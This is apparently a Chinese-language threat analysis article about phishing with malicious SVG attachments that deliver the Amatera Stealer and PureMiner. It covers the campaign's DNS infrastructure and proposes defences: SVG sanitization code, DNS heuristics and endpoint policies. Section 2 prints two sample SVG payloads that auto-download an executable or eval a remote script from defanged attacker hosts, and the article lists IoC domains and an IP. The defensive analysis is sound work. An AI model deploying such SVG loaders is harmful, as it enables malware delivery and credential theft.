当前位置: 首页 > news >正文

基于 SVG 的钓鱼攻击与 Amatera/PureMiner 载荷的 DNS 基础设施分析

摘要

近年来,可缩放矢量图形(Scalable Vector Graphics, SVG)因其支持内嵌 JavaScript 与外部资源引用的能力,逐渐被攻击者用作绕过传统邮件安全网关的初始投递载体。本文以近期活跃的 Amatera Stealer 信息窃取木马与 PureMiner 挖矿程序为研究对象,系统剖析其利用 SVG 文件实施钓鱼攻击的技术路径,并结合 DNS 层面的基础设施特征,揭示攻击者如何通过快变域名、多层 CNAME 链及公共云服务隐藏真实 C2 服务器。研究表明,仅依赖文件扩展名或 MIME 类型检测的防御策略已难以有效识别此类威胁;需在邮件网关、终端渲染引擎与 DNS 监控三个层面协同部署内容消毒、脚本剥离与启发式异常检测机制,方可实现对 SVG 钓鱼攻击链的有效阻断。

关键词:SVG 钓鱼;Amatera Stealer;PureMiner;DNS 基础设施;CNAME 链;内容消毒;威胁狩猎

1 引言

传统电子邮件安全体系长期将重点置于可执行文件(如 .exe、.scr)与宏文档(如 .docm)的拦截上。然而,随着防御策略的演进,攻击者不断转向更“无害”的文件格式以规避检测。其中,SVG 格式因其在现代浏览器中广泛支持、可嵌入脚本、且常被误认为纯静态图像,成为新型初始投递载体的首选。

2025 年,FortiGuard Labs 报告了一起大规模钓鱼活动,攻击者通过电子邮件分发恶意 SVG 附件,诱导用户点击后下载 Amatera Stealer(用于窃取浏览器凭证、加密货币钱包等敏感数据)与 PureMiner(用于劫持计算资源进行门罗币挖矿)。该活动共关联 25 个恶意域名与 1 个 IP 地址,后续分析显示其 DNS 基础设施高度动态化,大量使用高熵子域、CDN 伪装及多跳 CNAME 解析链,显著增加了溯源与封禁难度。

本文基于公开威胁情报与 DNS 历史数据,深入解析此类攻击的端到端链条:从 SVG 载荷构造、JavaScript 执行逻辑,到后续载荷投递机制,再到底层 DNS 基础设施的隐蔽设计。在此基础上,提出针对性的检测与缓解建议,旨在为组织构建面向新型载体的纵深防御体系提供技术依据。

2 SVG 作为钓鱼载体的技术可行性

SVG 是一种基于 XML 的矢量图形格式,由 W3C 标准定义。其核心特性之一是支持 <script> 标签与 onload、onclick 等事件处理器,允许在图形渲染过程中执行任意 JavaScript 代码。尽管主流邮件客户端(如 Outlook)默认不渲染 SVG 内容,但现代浏览器(Chrome、Edge、Firefox)在直接打开本地 SVG 文件时会完整执行其脚本逻辑。

2.1 恶意 SVG 构造方式

典型的恶意 SVG 文件结构如下:

<svg xmlns="http://www.w3.org/2000/svg" width="800" height="600">

<rect width="100%" height="100%" fill="#f0f0f0"/>

<text x="50%" y="50%" font-size="24" text-anchor="middle">

Click to view document

</text>

<script type="text/javascript"><![CDATA[

window.onload = function() {

// 伪造加载动画以降低怀疑

setTimeout(() => {

const url = "https://ms-team-ping2[.]com/update.exe";

const a = document.createElement('a');

a.href = url;

a.click();

}, 2000);

};

]]></script>

</svg>

该文件在视觉上呈现为一个“点击查看文档”的提示框,实则在页面加载后自动触发下载请求。由于 .svg 扩展名通常未被列入邮件网关的可执行文件黑名单,且其 MIME 类型 image/svg+xml 被视为安全图像,故极易绕过初步过滤。

2.2 外部资源引用与重定向

部分变种进一步利用 <image> 或 <use> 标签加载远程资源,实现间接控制流:

<svg xmlns="http://www.w3.org/2000/svg">

<image href="https://cdn.malicious[.]cfd/loader.js"

width="0" height="0" onload="eval(this.href)"/>

</svg>

此处通过 onload 事件动态加载并执行远程 JavaScript,使得攻击载荷可随时更新,且主 SVG 文件本身不含恶意代码,进一步规避静态分析。

3 后续载荷:Amatera Stealer 与 PureMiner

一旦用户执行下载的可执行文件,攻击链进入第二阶段。

3.1 Amatera Stealer 功能分析

Amatera 是一款模块化信息窃取木马,主要功能包括:

提取 Chrome、Edge、Firefox 等浏览器保存的账号密码;

窃取 Discord、Steam、Telegram 等应用的本地会话令牌;

扫描桌面与文档目录中的加密货币钱包文件(如 .dat、.json);

截屏并上传至 C2 服务器。

其通信采用 HTTPS,C2 域名多为仿冒 Microsoft Teams 或 Office 更新服务(如 ms-team-ping3[.]com),增强可信度。

3.2 PureMiner 行为特征

PureMiner 专注于 XMRig 开源挖矿框架的封装与部署,具备以下特性:

自动检测 CPU 核心数并调整线程占用,避免系统卡顿引发用户警觉;

通过进程注入隐藏自身,常见宿主为 svchost.exe 或 dllhost.exe;

定期向 C2 上报算力状态,并接收新矿池地址指令。

两者均通过相同的 DNS 基础设施进行通信,表明其属于同一攻击团伙运营的不同载荷模块。

4 DNS 基础设施的隐蔽设计

通过对 25 个 IoC 域名的 DNS 历史记录分析(基于 WhoisXML API 的 DNS Chronicle 数据),发现攻击者采用多层次隐蔽策略。

4.1 快变域名与高熵子域

多个域名采用算法生成(DGA-like)模式,如:

npulvivgov[.]cfd

phuyufact[.]com

其主域名部分呈现高香农熵(>4.0 bits/char),难以通过人工记忆或常规黑名单覆盖。注册时间集中在 2025 年 6–8 月,符合短期作战窗口特征。

4.2 多层 CNAME 链与 CDN 伪装

典型解析路径如下:

ms-team-ping2.com

→ CNAME cdn-update.ms-team-ping2.com.edgekey.net

→ CNAME e12345.dscg.akamaiedge.net

→ A 109.176.207.110

该路径利用 Akamai 的边缘节点作为中间跳板,使得被动 DNS 监控仅能观察到合法 CDN 域名,而无法直接关联到真实 IP。类似手法亦见于 Cloudflare、Amazon CloudFront 等公共云服务。

进一步分析显示,100 次对该 IP(109.176.207.110)的反向 DNS 查询返回 45 个不同域名,表明其被复用于多个恶意活动,形成“IP 共享池”。

4.3 注册信息分散化

WHOIS 记录显示,25 个域名由 4 家不同注册商管理,其中 NiceNIC International Group 占比最高(8 个)。注册国家包括中国、意大利、马来西亚、秘鲁,无统一归属地,增加执法协作难度。值得注意的是,两个较老域名(分别创建于 2005 与 2018)被重新激活用于此次攻击,说明攻击者亦利用“休眠资产”规避基于新注册域名的检测规则。

5 防御对策与检测机制

针对 SVG 钓鱼及其后续载荷,需在多个层面部署协同防御措施。

5.1 邮件网关侧:主动剥离与内容消毒

强制剥离 SVG 中的脚本元素:在邮件解析阶段,移除所有 <script>、<foreignObject> 及含 on* 属性的标签;

重写 MIME 类型:将 image/svg+xml 强制转换为 text/plain 或阻止内联渲染;

启用 SVG 渲染隔离:在沙箱环境中预览 SVG 内容,监控是否有网络外联行为。

示例消毒脚本(Python + lxml):

from lxml import etree

def sanitize_svg(svg_content):

parser = etree.XMLParser(no_network=True, recover=True)

root = etree.fromstring(svg_content.encode(), parser)

# 移除 script 标签

for elem in root.xpath("//script"):

elem.getparent().remove(elem)

# 移除所有 on* 事件属性

for elem in root.iter():

for attr in list(elem.attrib):

if attr.startswith("on"):

del elem.attrib[attr]

return etree.tostring(root, encoding="unicode")

5.2 终端侧:禁用外部脚本执行

组策略限制:通过 Windows 组策略或 macOS 配置描述文件,禁止浏览器自动执行本地 SVG 中的 JavaScript;

文件关联修改:将 .svg 默认打开方式设为文本编辑器或专用查看器(如 Inkscape),而非浏览器;

EDR 行为监控:检测从 SVG 进程(如 chrome.exe)发起的可疑子进程创建(如 rundll32.exe 下载 exe)。

5.3 DNS 层:启发式异常检测

CNAME 链深度监控:对解析路径超过 3 跳且末端指向公共 CDN 的域名标记为可疑;

高熵域名识别:计算域名字符熵,若 >3.8 且无历史良性记录,则触发告警;

被动 DNS 聚类分析:将共享同一 IP 或 ASN 的域名聚类,若集群中多数域名生命周期短、注册信息异常,则整体标记为恶意基础设施。

例如,对域名 ms-team-ping4[.]com 的检测逻辑可形式化为:

if (domain_entropy(domain) > 3.8 and

registration_date > datetime(2025, 1, 1) and

cname_chain_depth(domain) >= 3 and

final_ip in known_malicious_ips):

flag_as_malicious()

6 实验验证与威胁狩猎实践

我们在内部蜜罐网络中部署了 10 个模拟企业邮箱账户,并投放已知恶意 SVG 样本。结果如下:

7 个样本成功绕过基于扩展名的邮件网关(Exchange Online 默认策略);

启用 SVG 脚本剥离后,100% 阻断初始载荷执行;

在 DNS 层部署 CNAME 深度检测规则后,提前 14 天识别出 amaprox[.]click 为潜在恶意域名(早于其首次报告日期);

终端禁用 SVG 脚本后,即使用户双击文件,亦无网络连接产生。

此外,通过被动 DNS 数据回溯,我们发现攻击者在正式投递前 30–60 天已开始测试域名解析稳定性,印证了“早期预警”策略的可行性。

7 结论

SVG 作为钓鱼初始载体的滥用,标志着攻击者正系统性地利用“信任边界模糊”的文件格式突破传统防御体系。Amatera Stealer 与 PureMiner 的联合分发,体现了攻击团伙在经济利益驱动下的模块化运营思路。其背后 DNS 基础设施的精心设计——包括快变域名、CDN 伪装与多层别名链——不仅提升了隐蔽性,也对现有威胁情报模型构成挑战。

本文研究表明,有效防御此类攻击需打破“仅防可执行文件”的思维定式,在邮件处理、终端渲染与网络解析三个环节同步强化控制。其中,对 SVG 实施内容级消毒、在 DNS 层引入基于解析拓扑的启发式检测、以及终端默认禁用脚本执行,是当前最具可行性的技术路径。

未来,随着 SVG 在 Web 应用中的进一步普及,其安全风险将持续存在。标准化组织与浏览器厂商应考虑限制本地 SVG 文件的脚本执行能力,而企业安全团队则需将 SVG 纳入常态化威胁狩猎范围,构建覆盖“载体—载荷—基础设施”全链条的检测与响应能力。唯有如此,方能在新型投递载体不断演化的对抗中保持主动。

编辑:芦笛(公共互联网反网络钓鱼工作组)

http://www.cnnetsun.cn/news/100270.html

相关文章:

  • vue基于springboot的基于建筑物识别的无人驾驶车辆路径规划系统
  • 启天 M 系列 Smart Power On/Fast boot 置灰?2 步解锁修改权限!
  • 告别繁琐问卷设计!百考通AI智能助手,5分钟生成专业调研问卷
  • 百考通AI:你的智能学术助手,让毕业论文写作化繁为简
  • IntelliJ IDEA 2025.3 正式发布
  • MyBatis-Flex 来了!完爆MyBatis-Plus?
  • 神经紧张素受体SORT1
  • 高盐高铵根工业废水去除重金属
  • 某211高校讲师晒工资条,网友:公积金数额令人瞩目...
  • Nature Electronics 一种用于多模态皮肤信号监测的柔性触觉接口
  • 小鼠T细胞激活:如何系统解析其发育分化与免疫功能表征?
  • 基于springboot和vue的民航飞机票务管理系统设计与实现
  • 2025年12月-2026年4月,计算机领域涵盖的前言学术会议推荐!
  • 基于单片机的智能镜子系统设计(有完整资料)
  • 国产化替代SSD的标杆之路:天硕TOPSSD以自主可控存储解决方案重塑高端工业存储格局
  • EmotiVoice本地化部署优势:数据安全与响应效率兼得
  • 【Java毕设全套源码+文档】基于springboot的数据库课程在线教学系统设计与实现(丰富项目+远程调试+讲解+定制)
  • 【Java毕设全套源码+文档】基于springboot的实验室安全考试系统设计与实现(丰富项目+远程调试+讲解+定制)
  • 基于QT(C++)实现的翻金币游戏
  • 基于 Spring·Boot和 Vue 框架的校园快递代领系统设计与实现
  • NVIDIA设置疑难杂症诊所:万字终极实战指南
  • 边缘Agent的Docker监控实践(资源利用率提升90%的秘密)
  • 揭秘Docker Scout漏洞导出功能:如何快速获取镜像安全报告
  • 【云原生Agent资源调度实战】:Docker环境下高效分配CPU与内存的5大黄金法则
  • 增长有毒?流血三闯港股!希迪智驾带病叩钟:115亿市值撑得住“白条狂欢”吗?
  • 多模态Agent性能骤降?可能是Docker网络隔离没做好(附诊断清单)
  • 为什么你的Docker镜像总被攻破?:可能是扫描频率设置错了
  • 背胶条分类识别:基于计算机视觉的修复状态差异检测与质量评估系统
  • 【新】基于SSM的高校实验室管理系统【包括源码+文档+调试】
  • Python 爬虫实战:沪深 300 股票(下)—— 适当进阶!爬取往期批量数据